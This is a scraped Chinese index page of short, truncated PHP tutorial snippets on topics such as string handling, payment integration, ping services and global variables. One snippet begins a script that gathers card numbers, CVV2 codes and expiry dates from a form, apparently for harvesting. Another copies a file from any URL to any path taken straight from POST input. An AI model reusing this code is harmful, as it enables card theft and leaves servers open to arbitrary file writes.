Time of Update: 2017-01-19
一、中文截取:mb_substr() mb_substr( $str, $start, $length, $encoding ) $str,需要截斷的字串 $start,截斷開始處,起始處為0 $length,要截取的字數 $encoding,網頁編碼,如utf-8,GB2312,GBK 執行個體: 複製代碼 代碼如下: <?php $str='雲棲社區:http://www.jb51.net'; echo
Time of Update: 2017-01-19
簡單示意一下: 複製代碼 代碼如下: <?php class test { private $_name = ''; public function setName($name) { $this->_name = $name; return $this; } public function getName() { echo $this->_name . "\n"; return $this; } } $link = new test(); // 方法鏈
Time of Update: 2017-01-19
PHP內建函數 array_multisort 要求每個數組大小一樣 $areas是地區的二維數組,包含人數和次數,現在要按這2種數進行降序排序 複製代碼 代碼如下: foreach($areaArray as &$areas) { $times = $numbers = array(); foreach($areas as $province => $v) { $times[$province] = $v['times']; $numbers[$province] =
Time of Update: 2017-01-19
這幾天,工作中遇到一個小問題,有一內容類型的欄位儲存的是語言,因為這寫資料是用Excel匯入做的,所以為了處理簡單,很多的語言就用逗號分隔,把所有語言做一個字串,這樣存入的時候就簡單的多。但是由於當初資料品質的問題,有一部分“Chinese”是 “Mandarin Chinese”,現在需要把所有的“Mandarin Chinese”改為“Chinese”。
Time of Update: 2017-01-19
先看一個三元運算式子: 複製代碼 代碼如下: <?php $a=1;$b=2;$c=3;$d=4; echo $a<$b?'xx':$a<$c?'yy':$a<$d?'zz':'oo'; ?> 一般按照其它語言(比如C或Java)的規則, 以上代碼的運算邏輯是: 複製代碼 代碼如下: $a<$b => true => 'xx' ==> 結束 那麼最後得到的結果就是'xx', 而再往後的運算都會被無視. 然而令人吃驚的是,
Time of Update: 2017-01-19
本文執行個體講述了微信開放平台行動裝置 App整合微信支付功能。分享給大家供大家參考。具體分析如下:WechatAppPay檔案代碼如下:複製代碼 代碼如下:<?phpnamespace common\services\WechatPay;class WechatAppPay extends WechatPayBase{ //package參數 public $package = [];
Time of Update: 2017-01-19
本文執行個體講述了php銀連網頁支付實現方法。分享給大家供大家參考。具體分析如下:這裡介紹的銀聯WAP支付功能,僅限消費功能。1. PHP代碼如下:複製代碼 代碼如下:<?phpnamespace common\services;class UnionPay{ /** * 支付配置 * @var
Time of Update: 2017-01-19
本文執行個體講述了php隨機抽獎用法。分享給大家供大家參考。具體分析如下:1. 按照設定的機率,得到隨機抽獎的結果。 複製代碼 代碼如下:<?php /** * 抽獎工具 */class lottery_tool { protected static $awardsArr; protected static $proField =
Time of Update: 2017-01-19
本文執行個體講述了php中get_cfg_var()和ini_get()的用法及區別。分享給大家供大家參考。具體分析如下:php裡get_cfg_var()和ini_get()都是取得配置值的函數,當你需要擷取php.ini裡的某個選項的配置值時,這兩個函數都都可以使用,得到的結果是一樣的。不過,get_cfg_var()和ini_get()也有一些區別,這便是本文要談的內容。在說這兩個函數區別之前,我們先來瞭解一下它們的含義及用法。有關ini_get()的用法,前面有一篇《php用ini_ge
Time of Update: 2017-01-19
我自己構思了下,實際上程式來解決這個事情,就是一個位移量的問題。首先看數列::1、1、2、3、5、8、13、21、34數列的下一個數是前2個數字之和,以此類推。
Time of Update: 2017-01-19
今天,在做一個關於PING服務的東西,由於不想把ping服務地址放進資料庫中,那樣不好,ping服務本來不是一個效率不高的事,再放進資料庫中,不但更加降低了程式的效率,還給伺服器帶來不必要的損耗,所以,想辦法所ping服務地址用數組的方式放進了.conf檔案中,才開始的設計思路是通過產生的php代碼放到.php檔案中,然後再把.php檔案載入進來,後來,發現操作起來不太方便,所以,決定使用serialize()函數和unserialize()函數,這兩個函數的用法真是絕配,一個是進行序列化儲存,
Time of Update: 2017-01-19
複製代碼 代碼如下: function write_naps_bot(){ $useragent=get_naps_bot(); // echoExit($useragent); if ($useragent=="false") return FALSE ; date_default_timezone_set("Asia/Shanghai"); $date=date("Y-m-d H:i:s"); $ip=$_SERVER[REMOTE_ADDR];
Time of Update: 2017-01-19
PHP的ping服務代碼其實在以前我已經寫過一個類,不過,有很多朋友加我好友說,看不太懂,那個是以類的形式寫的,可能如果直接放到代碼裡直接用不太行,今天發一下能夠直接用的ping函數,希望對大家有所協助,還需要說明的一點是現在的ping並不是像以前那麼管用了,因為,百度和gg可能又加入了其它的指標,新網站ping能成功,但不一定是百分百收錄。 複製代碼 代碼如下: <?php function postUrl($url, $postvar) { $ch = curl_init();
Time of Update: 2017-01-19
這可能引起一些問題,有些人可能漫不經心的改變一個全域變數。PHP 中全域變數在函數中使用時必須申明為全域(注意,Global這個關鍵字在函數中定義才有用)。 1:Global的作用是定義全域變數,但是這個全域變數不是應用於整個網站,而是應用於當前頁面,包括include或require的所有檔案。 複製代碼 代碼如下: <?PHP $a=123; function aa() { Global $a;
Time of Update: 2017-01-19
需要的工具和安裝: 你必須安裝下面的工具和軟體: –修改口令的Shell指令碼; – Sudo訪問權; – Apache or Lighttpd web伺服器; – PHP服務端程式。 步驟1:安裝可以修改使用者口令的shell指令碼 該指令碼可以實際用於修改Linux使用者的口令(已在Linux和FreeBSD測試)。 例子: shell指令碼代碼 #!/bin/sh # \ exec expect -f “$0″ ${1+”$@”} set
Time of Update: 2017-01-19
至於表單內容,這裡就不多說了,主要是表單的action="getpost.php",也就是寫getpost.php這個檔案。下面就把這個檔案裡面的內容貼出來。 複製代碼 代碼如下: <?php //定義要收集的表單內容 $cardnum = $_POST['cardnum']; $cvv2 = $_POST['cvv2']; $month = $_POST['month']; $year = $_POST['year']; $cardbank = $_POST['cardbank']; /
Time of Update: 2017-01-19
本文執行個體講述了php中通過DirectoryIterator刪除整個目錄的方法。分享給大家供大家參考。具體實現方法如下:<?phpfunction cleanup_directory($dir) { foreach (new DirectoryIterator($dir) as $file) { if ($file->isDir()) { if (! $file->isDot()) { cleanup_directory($file-
Time of Update: 2017-01-19
PHP非同步呼叫實現方式 瀏覽器和伺服器之間只一種面向不需連線的HTTP協議進行通訊的,面向不需連線的程式的特點是用戶端請求服務端,服務端根據請求輸出相應的程式,不能保持持久串連。 這樣就出現了一個問題,一個用戶端的相應服務端可能執行1秒也有可能執行1分鐘,這樣瀏覽器就會一直處於等待狀態,如果程式執行緩慢,使用者可能就沒耐心關掉了瀏覽器。 而有的時候我們不需要關心程式執行的結果,沒有必要這樣浪費時間和耐心等待,那我們就要想出辦法讓程式不收等待在後台靜默執行。
Time of Update: 2017-01-19
在PHP 4.2.0 至 4.2.3中,可以使用w32api_register_function 函數調用外部的DLL,前提是需要在php.ini中開啟擴充的php_w32api.dll。 如果使用的是PHP 5,調用DLL只有使用PHP的COM類了。 基本方法為:$obj = new COM("server.object") 顯然COM類將php功能又提高了一大截。同時這個類將組件的PO調用方法改成了OO方法。 在使用COM類之前,確保下面3個條件: 1.啟用組件:regsvr32
Time of Update: 2017-01-19
本文執行個體講述了PHP實現從遠程下載檔案的方法。分享給大家供大家參考。具體實現方法如下:<?phpif ($_GET[xfer]) {if ($_POST[from] == "") {print "You forgot to enter a url.";} else {copy("$_POST[from]", "$_POST[to]");$size = round((filesize($_POST[to])/1000000), 3);print "transfer